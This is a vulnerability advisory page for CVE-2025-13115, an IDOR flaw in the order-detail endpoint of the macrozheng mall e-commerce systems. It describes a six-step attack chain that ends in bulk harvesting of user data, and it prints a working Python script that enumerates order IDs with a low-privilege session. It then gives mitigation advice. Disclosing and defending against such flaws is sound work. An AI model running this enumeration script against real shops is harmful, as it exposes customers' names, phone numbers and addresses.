IPBUF安全漏洞报告
English
CVE-2025-13115 CVSS 4.3 中危

CVE-2025-13115 macrozheng mall订单详情页面越权访问漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-13115
漏洞类型
越权访问(IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
macrozheng mall-swarm, macrozheng mall

相关标签

越权访问IDOR信息泄露macrozhengmall-swarm订单详情电商系统CVE-2025-13115

漏洞概述

CVE-2025-13115是macrozheng mall-swarm和mall电商系统中存在的一个越权访问漏洞。该漏洞位于订单详情处理模块(Order Details Handler)的detail功能中,攻击者可以通过篡改orderId参数值来访问其他用户的订单详细信息。由于系统在处理订单详情请求时未正确验证当前用户与订单的归属关系,导致低权限用户可以查看任意订单数据。该漏洞CVSS评分4.3,属于中等严重程度,可被远程利用且无需用户交互。漏洞影响范围涵盖mall-swarm和mall 1.0.3及以下版本。目前该漏洞的利用代码已在互联网公开,厂商在收到安全通知后未做出任何响应。

技术细节

该漏洞属于典型的Insecure Direct Object Reference(IDOR)越权访问漏洞。在mall-swarm和mall电商系统的订单详情功能(/order/detail/)中,系统通过orderId参数接收用户请求的订单ID,但后端处理逻辑未对orderId与当前登录用户的归属关系进行充分验证。具体问题包括:1)系统仅验证用户是否登录(PR:L低权限认证),但未检查订单是否属于当前用户;2)攻击者可通过枚举或猜测orderId值来遍历获取其他用户的订单敏感信息,包括收货地址、联系方式、商品清单等;3)该接口可通过网络直接访问(AV:N),攻击者无需特殊权限或用户交互即可发起攻击。攻击成功后可导致订单信息泄露(C:L机密性影响),但不会影响数据完整性和系统可用性。修复方案需要在订单详情查询逻辑中增加当前用户与订单归属关系的强制校验。

攻击链分析

STEP 1
步骤1
攻击者注册低权限账户并登录系统,获取有效会话Cookie
STEP 2
步骤2
访问正常订单详情功能,记录请求中的orderId参数和API接口路径
STEP 3
步骤3
构造恶意请求,通过修改orderId参数值为其他用户订单ID(如1-10000枚举)
STEP 4
步骤4
发送HTTP GET请求到/order/detail/{orderId}端点,系统未校验订单归属关系
STEP 5
步骤5
成功获取目标订单的敏感信息,包括收货人姓名、电话、地址、商品详情等
STEP 6
步骤6
批量自动化枚举所有订单ID,收集大量用户隐私数据用于非法用途

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-13115 PoC - macrozheng mall IDOR Vulnerability # Target: macrozheng mall-swarm / mall <= 1.0.3 # Vulnerability: Unauthorized access to order details via orderId parameter TARGET_URL = "http://target-server/api/order/detail/" def exploit_order_details(target_url, order_ids, cookies=None): """ Exploit IDOR vulnerability to access unauthorized order details. Args: target_url: Base URL of the vulnerable application order_ids: List of order IDs to enumerate cookies: Authentication cookies (low-privilege user session) """ results = [] for order_id in order_ids: url = f"{target_url}{order_id}" try: response = requests.get(url, cookies=cookies, timeout=10) if response.status_code == 200: data = response.json() if data.get('code') == 200 or data.get('success'): print(f"[!] Found accessible order: {order_id}") print(f" Order details: {data}") results.append({ 'order_id': order_id, 'details': data }) except Exception as e: print(f"[-] Error accessing order {order_id}: {e}") return results if __name__ == "__main__": # Example: Enumerate order IDs 1-100 order_ids = range(1, 101) cookies = {'JSESSIONID': 'your-low-privilege-session-id'} results = exploit_order_details(TARGET_URL, order_ids, cookies) print(f"\n[+] Total exposed orders: {len(results)}")

影响范围

macrozheng mall-swarm <= 1.0.3
macrozheng mall <= 1.0.3

防御指南

临时缓解措施
临时缓解措施:在Web应用防火墙(WAF)上配置规则,限制/order/detail/接口的访问频率,对异常的orderId枚举行为进行阻断和告警。同时监控该接口的访问日志,及时发现和阻止批量数据爬取行为。建议在修复前暂时限制该接口的外部访问,待官方发布安全更新后再恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表